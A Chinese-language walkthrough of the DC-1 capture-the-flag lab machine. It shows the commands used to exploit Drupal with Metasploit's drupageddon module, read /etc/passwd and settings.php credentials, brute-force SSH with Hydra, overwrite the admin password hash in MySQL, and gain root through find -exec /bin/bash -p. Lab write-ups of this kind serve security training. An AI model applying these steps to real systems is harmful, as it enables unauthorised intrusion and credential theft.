主机发现和nmap信息收集
//主机发现
(kali㉿kali)-[~]
└─$ sudo arp-scan -l //查找到主机地址为192.168.226.130
//端口扫描
┌──(kali㉿kali)-[~]
└─$ sudo nmap -A 192.168.226.130 //扫描端口后发现22,80,111端口开放,22端口是SSH端口,很明显80端口是我们的主要攻击面,想办法从80端口获取SSH账户名和密码
web信息收集
访问web页面,发现需要账户名和密码,目前不知道账户名密码,可以看到该网页是一个通用模板,经过Wappalyzer工具扫描发现该页面有Drupal,它是一个php管理系统,也是是开源CMS的内容管理系统,也就是说,它必然在数据库中存放了某些重要信息,这是我们的突破点。
漏洞扫描
//运行msf工具(msf就是一个漏洞框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击)
─(kali㉿kali)-[~]
└─$ sudo service postgresql start //启动postgresql数据库(PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS))
┌──(kali㉿kali)-[~]
└─$ msfdb init //初始化数据库(在kali中metasploit默认使用postgresql作为它的数据库)
┌──(kali㉿kali)-[~]
└─$ msfconsole //运行msfconsole
//漏洞利用
msf6 > search Drupal //在msf中查找Drupal模板网页可用的工具
扫描发现的8个工具:
//漏洞攻击
msf6 > use 2 //使用第二个工具
msf6 exploit(multi/http/drupal_drupageddon) > show missing //查看工具使用必须的信息
查看结果提示需要设置RHOSTS,设置RHOSTS即设置靶机的IP地址
msf6 exploit(multi/http/drupal_drupageddon) > sudo set RHOSTS 192.168.226.130 //设置RHOSTS
msf6 exploit(multi/http/drupal_drupageddon) > show options //查看配置好的信息
msf6 exploit(multi/http/drupal_drupageddon) > run //确认无误后开始攻击
meterpreter > ls //攻击结束后查看信息
成功发现flag1.txt
meterpreter > cat flag1.txt //查看flag1,提示我们Every good CMS needs a config file - and so do you.需要找配置文件
meterpreter > cat /etc/passwd //查看配置文件中的passwd,发现flag4,flag4中可能有用户的账户密码,进行爆破
找到flag4,发现他在家目录下,说明他是一个用户文件,flag4是用户名:
密码爆破
┌──(kali㉿kali)-[/]
└─$ hydra -l flag4 -P /usr/share/john/password.lst 192.168.226.130 ssh //对靶机进行密码爆破,指定用户flag4,指定字典为John的默认字典password.lst,指定协议为ssh
爆破成功,获得flag4用户的密码:
获得系统立足点
┌──(kali㉿kali)-[/]
└─$ sudo ssh flag4@192.168.226.130 //ssh登录flag4用户
flag4aDC-1:~$ ls //查看目录发现flag4.txt文件
flag4aDC-1:~$cat flag4.txt //查看flag4后发现里面的信息提示我们提权,暂时没有提权手段,先按flag1的信息查找配置文件
//互联网搜索发现配置文件默认路径为Sites/default/settings.php寻找Drupal的配置文件
flag4@DC-1:~$ cd /
flag4@DC-1:/$ cd var/www
flag4@DC-1:/var/www$ ls
flag4@DC-1:/var/www$ cd sites/default
flag4@DC-1:/var/www/sites/default$ ls
flag4@DC-1:/var/www/sites/default$ cat settings.php //查看配置文件
在配置文件中找到flag2,以及数据库的账号和密码
MySQL渗透
flag4@DC-1:/var/www/sites/default$ mysql -u dbuser -p //登录数据库,-p连接数据库,输入账号密码后登录
mysql> show database; //查看数据库,发现drupaldb数据库
mysql> use drupaldb; //进入数据库
mysql> show tables; //查看表
mysql> select * from users; //查看表结构
发现admin用户和一串hash值,在百度上搜索了drupal密码重置方法,发现drupal默认使用password_hash.sh生成密码。因此我们在目录下查找该文件,想办法替换这段hash,并重新设置一个密码,于是我们需要寻找存放密码hash值的bash文件
//寻找存放密码hash的bash文件
flag4@DC-1:/var/www/sites/default$ find / -name password* //从主目录查找文件名中包含password的文件
成功发现:
flag4@DC-1:/var/www/sites/default$ cat ./scripts/password-hash.sh //尝试查看文件内容
该文件最后一段提示我们修改密码并获取新hash值的方法
flag4@DC-1:/var/www/sites/default$ php ./scripts/password-hash.sh 123456 //生成一个密码为123456的新hash值
flag4@DC-1:/var/www$ mysql -u dbuser -p //重新登录数据库
mysql> show databases;
mysql> use drupaldb; //进入drupaldb数据库
mysql> show tables; //查看表
mysql> update users set pass='$S$Dh.V1XOfMnNSh6Vx6JIePg9kG7rww8tKTnmpUGistIiMFRQletBA'; //替换users表中的hash值
web渗透
用修改后的密码登录web网页
登录后点击bashboard,发现flag3,至此,flag1,2,3,4全部发现
flag3提示我们需要用 -exec进行提权,在passwd中寻找信息,由于前面已经查找过passwd并发现了flag4,在此不再进行查找,尝试用-exec对flag4进行提权
用户提权
mysql> quit //退出数据库
flag4@DC-1:/$ find -name flag4.txt -exec /bin/bash -p \; //用户提权,-exec表示在查询结束后执行它后面的命令,;表示调用C语言,没有该字符不能使用exec命令,\;表示将;当做普通字符处理,这是为了防止系统误认
bash-4.2# umane -a //查看用户是否为root
bash-4.2# cd root //提权已成功,进入root目录
bash-4.2# ls
bash-4.2# cat thefinalflag.txt //查看root目录文件的内容
发现一段提示我们打靶成功的内容
总结
先进行主机发现,找到主机IP,然后进行nmap扫描发现22,80,111,端口开放,显然,80端口是我们的主要攻击面,打开web网页用工具扫描后发现Drupal,它是一个CMS管理系统,也就是说,它是一个数据库,接下来,将它作为突破口,启动msf工具扫描Drupal的漏洞,发现8个漏洞,实际只有第二个能利用。对第二个漏洞进行攻击后,发现flag1,flag1提示我们要找配置文件。
接下来,我们在系统配置文件中找到flag4,他在家目录下,说明他是一个用户,那么他应该可以通过ssh登录22端口,于是用hydra使用John的默认密码字典对flag4进行爆破,得到它的密码,由此登录flag4用户获得系统立足点。
在获得系统立足点后,在flag4用户下找到并查看flag4.txt文件,发现他提示我们提权,因为暂时没有提权手段,继续按照flag1的提示寻找Drupal的配置文件,查看Druopal的配置文件settings.php,发现flag2和MySQL的账号密码,他提示我们密码爆破是唯一的手段,由于我们已经爆破成功,暂且不管他。
登录MySQL,找到Drupal数据库,查看user表结构,发现admin用户和一串hash值,由于drupal默认使用password_hash.sh生成密码,查找该文件,生成一个新密码hash,登录数据库替换admin用户的hash,这样就获得了一个新密码。
用密码登录web网页,找到了flag3,flag3提示我们在passwd中寻找信息,并用 -exec进行提权。passwd中的flag4已经找到,用命令find -name flag4.txt -exec /bin/bash -p ;进行提权,提权成功!
进入root目录,查看thefinalflag.txt的内容,该文件提示我们打靶完成。